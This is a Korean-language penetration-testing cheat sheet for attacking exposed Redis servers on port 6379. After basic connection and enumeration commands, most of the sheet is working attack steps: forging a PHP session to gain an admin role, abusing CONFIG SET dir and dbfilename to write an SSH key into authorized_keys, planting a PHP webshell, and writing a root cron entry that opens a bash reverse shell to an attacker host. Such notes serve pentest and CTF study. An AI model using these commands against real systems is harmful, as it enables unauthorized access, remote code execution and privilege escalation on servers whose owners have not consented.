Redis - 6379
기본 정보
포트: 6379
Redis는 인메모리 키-값 데이터베이스입니다.
연결
# Redis CLI 연결
redis-cli -h <RHOST>
# 포트 지정
redis-cli -h <RHOST> -p 6379
# 비밀번호 지정
redis-cli -h <RHOST> -a <PASSWORD>
인증
# 비밀번호 인증
> AUTH <PASSWORD>
# 사용자명 + 비밀번호 (Redis 6.0+)
> AUTH <USERNAME> <PASSWORD>
기본 명령어
# 서버 정보
> INFO SERVER
# Keyspace 정보
> INFO keyspace
# 모든 설정 확인
> CONFIG GET *
# 데이터베이스 선택
> SELECT <NUMBER>
# 모든 키 조회
> KEYS *
# 키 값 조회
> GET <KEY>
Hash 명령어
# 필드 설정
> HSET <KEY> <FIELD> <VALUE>
# 필드 값 조회
> HGET <KEY> <FIELD>
# 모든 필드 이름 조회
> HKEYS <KEY>
# 모든 필드와 값 조회
> HGETALL <KEY>
PHP 세션 조작
# 세션 조회
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
# 세션 설정 (관리자 권한 상승)
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";"
# 주의: "s:8"은 사용자명 길이와 일치해야 함
SSH Key 삽입
# Redis CLI 연결
redis-cli -h <RHOST>
# 기존 데이터 삭제
echo "FLUSHALL" | redis-cli -h <RHOST>
# SSH 공개키 준비
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/spub.txt
# Redis에 키 저장
cat /tmp/spub.txt | redis-cli -h <RHOST> -x set s-key
# Redis 내부에서 작업
redis-cli -h <RHOST>
# 키 확인
<RHOST>:6379> get s-key
# 현재 디렉토리 확인
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
# .ssh 디렉토리로 변경
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
# 파일명을 authorized_keys로 설정
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
# 설정 확인
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
# 저장
<RHOST>:6379> save
OK
# SSH 로그인
ssh redis@<RHOST>
Webshell 작성
# PHP Webshell 작성
redis-cli -h <RHOST>
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET test "<?php system($_GET['cmd']); ?>"
> save
# 접속: http://<RHOST>/shell.php?cmd=id
Cron Job을 통한 RCE
redis-cli -h <RHOST>
> CONFIG SET dir /var/spool/cron
> CONFIG SET dbfilename root
> SET xxx "\n* * * * * bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\n"
> save
Nmap
# Redis 버전 확인
sudo nmap -p6379 -sV <RHOST>
# Redis 정보 수집
sudo nmap -p6379 --script redis-info <RHOST>
redis-cli 원격 명령 실행
# 명령 실행
redis-cli -h <RHOST> INFO
redis-cli -h <RHOST> CONFIG GET *
redis-cli -h <RHOST> KEYS *
참고
- 인증 없는 Redis 확인
- CONFIG 명령 사용 가능 여부
- Redis 실행 사용자 확인 (root인 경우 더 위험)
- 쓰기 가능한 디렉토리 확인
- PHP 세션 조작을 통한 권한 상승
- SSH Key 삽입
- Webshell 작성
- Cron Job 악용